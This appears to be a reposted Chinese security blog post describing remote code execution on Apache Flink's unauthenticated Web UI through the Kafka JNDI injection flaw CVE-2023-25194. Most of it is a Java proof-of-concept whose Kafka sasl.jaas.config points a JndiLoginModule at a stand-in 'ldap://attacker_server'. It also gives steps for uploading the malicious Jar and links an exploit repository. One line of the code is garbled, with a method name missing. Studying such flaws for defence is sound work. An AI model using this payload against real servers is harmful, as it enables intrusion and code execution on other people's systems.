Apache Flink远程代码执行漏洞。
Apache Flink Web UI 默认没有用户权限认证,攻击者可以直接上传恶意Jar包,通过指定Kafka数据源连接属性,利用Apache Kafka JNDI注入(CVE-2023-25194)漏洞[1]攻击Flink,最终实现远程代码执行。
[1] https://kafka.apache.org/cve-list#CVE-2023-25194
编写不安全的Flink程序
指定Kafka连接参数,其中sasl.jaas.config属性设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";,服务器将连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应。
// 设置执行环境
final
StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
// 配置 Kafka 连接属性
Properties properties =
new
Properties();
properties.setProperty(
"bootstrap.servers"
,
"192.168.25.147:9092"
);
properties.setProperty(
"group.id"
,
"flink-kafka-demo"
);
properties.setProperty(
"security.protocol"
,
"SASL_PLAINTEXT"
);
properties.setProperty(
"sasl.mechanism"
,
"PLAIN"
);
properties.setProperty(
"sasl.jaas.config"
,
"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
);
FlinkKafkaConsumer<String> consumer =
new
FlinkKafkaConsumer(
"quickstart-events"
,
new
SimpleStringSchema(), properties);
// 从 Kafka 中读取数据
env.addSource(consumer).
();
// 执行程序
env.execute(
"Flink Kafka Demo"
);
在Apache Flink Dashboard上传恶意Jar,并提交任务:
项目地址:https://github.com/Veraxy00/Flink-Kafka-Vul
点它,分享点赞在看都在这
原文始发于微信公众号(Ots安全):Apache Flink代码执行漏洞。在Apache Flink中利用Apache Kafka JNDI注入(CVE-2023-
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论